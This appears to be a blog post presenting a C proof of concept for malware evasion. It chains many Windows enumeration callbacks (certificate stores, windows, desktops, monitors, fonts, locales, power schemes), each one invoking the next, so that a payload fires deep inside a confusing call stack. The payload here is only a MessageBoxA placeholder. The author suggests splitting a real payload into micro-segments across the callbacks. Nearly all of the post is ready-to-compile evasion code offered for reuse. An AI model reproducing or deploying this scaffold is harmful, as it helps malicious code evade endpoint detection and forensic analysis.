Stupid callbacks for malware evasion

I saw@KlezVirusdo a thing on Moonwalking (callstack spoofing). He discussed callbacks and stuff. I ultimately decided to write a super small malware proof-of-concept idea thing of chaining callbacks until the payload is finally triggered.

You could probably get pretty creative in this such as having the payload work in micro-segments between each callback. I didn't do that because this is just a simple demonstration.

tl;dr callback invokes a callback from a callback over and over until the payload triggers.

#include <Windows.h>
#include <dbghelp.h>
#include <powrprof.h>
#include <stdio.h>

#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "Dbghelp.lib")
#pragma comment(lib, "PowrProf.lib")

typedef struct _CHAIN_CONTEXT {
    LONG GateFlag[256];
    LONG NextGate;
}CHAIN_CONTEXT, *PCHAIN_CONTEXT;

VOID DispatchCallbackRoutines(PCHAIN_CONTEXT Context);

#define ExecuteCallBackOnceHandler(Context) do { static const LONG GateIndex = __COUNTER__; if (InterlockedExchange(&(Context)->GateFlag[GateIndex], 1)) return TRUE; } while (0)

BOOL CALLBACK EnumResTypeProcW(HMODULE hModule, LPSTR lpType, LONG_PTR lParam)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam;
    ExecuteCallBackOnceHandler(Context);

    MessageBoxA(NULL, "", "", MB_OK);
    return TRUE;
}

BOOL CALLBACK PwrSchemesEnumProc(UINT UiIndex, DWORD dwName, LPWSTR sName, DWORD dwDesc, LPWSTR sDesc, PVOID pp, LPARAM lParam)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(UiIndex);
    UNREFERENCED_PARAMETER(dwName);
    UNREFERENCED_PARAMETER(sName);
    UNREFERENCED_PARAMETER(dwDesc);
    UNREFERENCED_PARAMETER(sDesc);
    UNREFERENCED_PARAMETER(pp);

    printf("Callback Thirteen\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return TRUE;
}

INT CALLBACK EnumObjectsProc(LPVOID lpLogObject, LPARAM lParam)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(lpLogObject);

    printf("Callback Twelve\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return 0;
}

BOOL WINAPI LangGroupLocaleEnumProc(LGRPID LanguageGroupId, LCID UnnamedParameter2, LPSTR UnnamedParameter3, LONG_PTR Args)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)Args;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(LanguageGroupId);
    UNREFERENCED_PARAMETER(UnnamedParameter2);
    UNREFERENCED_PARAMETER(UnnamedParameter3);

    printf("Callback Eleven\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);

    return TRUE;
}

INT CALLBACK EnumFontsProc(LOGFONT* lplf, TEXTMETRIC* lptm, DWORD dwType, LPARAM lParam)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(lplf);
    UNREFERENCED_PARAMETER(lptm);
    UNREFERENCED_PARAMETER(dwType);

    printf("Callback Ten\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);

    return 0;
}

INT CALLBACK EnumFontFamExProc(LOGFONT* lpelfe, TEXTMETRIC* lpntme, DWORD FontType, LPARAM lParam)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(lpelfe);
    UNREFERENCED_PARAMETER(lpntme);
    UNREFERENCED_PARAMETER(FontType);

    printf("Callback Nine\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return 0;
}

BOOL CALLBACK PEnumLoadedModulesCallback(PCSTR ModuleName, ULONG ModuleBase, ULONG ModuleSize, PVOID UserContext)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)UserContext;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(ModuleBase);
    UNREFERENCED_PARAMETER(ModuleName);
    UNREFERENCED_PARAMETER(ModuleSize);

    printf("Callback Eight\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return TRUE;
}

BOOL CALLBACK MonitorEnumProc(HMONITOR UnnamedParameter1, HDC hDc, LPRECT lprcClip, LPARAM dwData)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)dwData;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(UnnamedParameter1);
    UNREFERENCED_PARAMETER(hDc);
    UNREFERENCED_PARAMETER(lprcClip);

    printf("Callback Seven\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return TRUE;
}

BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(hwnd);

    printf("Callback Six\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return TRUE;
}

BOOL CALLBACK EnumDesktopProc(LPTSTR lpszDesktop, LPARAM lParam)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(lpszDesktop);

    printf("Callback Five\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return TRUE;
}

BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(hwnd);

    printf("Callback Four\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return TRUE;
}

BOOL WINAPI PfnCryptEnumOidInfo(PCCRYPT_OID_INFO pInfo, PVOID pvArg)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)pvArg;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(pInfo);

    printf("Callback Three\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return TRUE;
}

BOOL WINAPI PfnCertEnumSystemStoreLocation(LPCWSTR pwszStoreLocation, DWORD dwFlags, PVOID pvReserved, PVOID pvArg)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)pvArg;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(pwszStoreLocation);
    UNREFERENCED_PARAMETER(dwFlags);
    UNREFERENCED_PARAMETER(pvReserved);

    printf("Callback Two\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return TRUE;
}


BOOL WINAPI PfnCertEnumSystemStore(PVOID pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, PVOID pvReserved, PVOID pvArg)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)pvArg;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(pvSystemStore);
    UNREFERENCED_PARAMETER(dwFlags);
    UNREFERENCED_PARAMETER(pStoreInfo);
    UNREFERENCED_PARAMETER(pvReserved);

    printf("Callback One\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return TRUE;
}

VOID DispatchCallbackRoutines(PCHAIN_CONTEXT Context)
{
    switch (Context->NextGate)
    {
        case 0:
        {
            CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, Context, (PFN_CERT_ENUM_SYSTEM_STORE)PfnCertEnumSystemStore);
            break;
        }
        case 1:
        {
            CertEnumSystemStoreLocation(NULL, Context, (PFN_CERT_ENUM_SYSTEM_STORE_LOCATION)PfnCertEnumSystemStoreLocation);
            break;
        }
        case 2:
        {
            CryptEnumOIDInfo(NULL, NULL, Context, (PFN_CRYPT_ENUM_OID_INFO)PfnCryptEnumOidInfo);
            break;
        }
        case 3:
        {
            EnumChildWindows(NULL, (WNDENUMPROC)EnumChildProc, (LPARAM)Context);
            break;
        }
        case 4:
        {
            EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)EnumDesktopProc, (LPARAM)Context);
            break;
        }
        case 5:
        {
            EnumDesktopWindows(NULL, (WNDENUMPROC)EnumWindowsProc, (LPARAM)Context);
            break;
        }
        case 6:
        {
            EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)MonitorEnumProc, (LPARAM)Context);
            break;
        }
        case 7:
        {
            EnumerateLoadedModules64(GetCurrentProcess(), (PENUMLOADED_MODULES_CALLBACK64)PEnumLoadedModulesCallback, Context);
            break;
        }
        case 8:
        {
            LOGFONTW Font = { 0 };
            Font.lfCharSet = DEFAULT_CHARSET;
            HDC hDc = GetDC(NULL);
                
            if (hDc == NULL)
                break;
            
            EnumFontFamiliesExW(hDc, &Font, (FONTENUMPROCW)EnumFontFamExProc, (LPARAM)Context, NULL);
            
            if(hDc)
                ReleaseDC(NULL, hDc);

            break;
        }
        case 9:
        {
            HDC hDc = GetDC(NULL);
            if (hDc == NULL)
                break;

            EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)EnumFontsProc, (LPARAM)Context);

            if(hDc)
                ReleaseDC(NULL, hDc);

            break;
        }
        case 10:
        {
            EnumLanguageGroupLocalesW((LANGGROUPLOCALE_ENUMPROCW)LangGroupLocaleEnumProc, LGRPID_ARABIC, 0, (LONG_PTR)Context);
            break;
        }
        case 11:
        {
            LOGFONTW Font = { 0 };
            Font.lfCharSet = DEFAULT_CHARSET;

            HDC hDc = GetDC(NULL);
            if (hDc == NULL)
                break;

            EnumObjects(GetDC(NULL), OBJ_BRUSH, (GOBJENUMPROC)EnumObjectsProc, (LPARAM)Context);

            if (hDc)
                ReleaseDC(NULL, hDc);

            break;
        }
        case 12:
        {
            EnumPwrSchemes((PWRSCHEMESENUMPROC)PwrSchemesEnumProc, (LPARAM)Context);
            break;
        }
        case 13:
        {
            EnumResourceTypesExW(NULL, (ENUMRESTYPEPROCW)EnumResTypeProcW, (LONG_PTR)Context, RESOURCE_ENUM_VALIDATE, NULL);
            break;
        }
        default:
            break;
    }

    return;
}

VOID InitializeCallbackStagers(PCHAIN_CONTEXT Context)
{
    DispatchCallbackRoutines(Context);
}

INT main(VOID)
{
    CHAIN_CONTEXT Context = { 0 };

    InitializeCallbackStagers(&Context);

    return ERROR_SUCCESS;
}

The payload would trigger in "EnumResTypeProcW".

I could have added more callbacks, but it was getting really, really, really annoying writing tons of callbacks.

This what the call stack looks like:

Please note the image is truncated because there is so many callbacks.

Last updated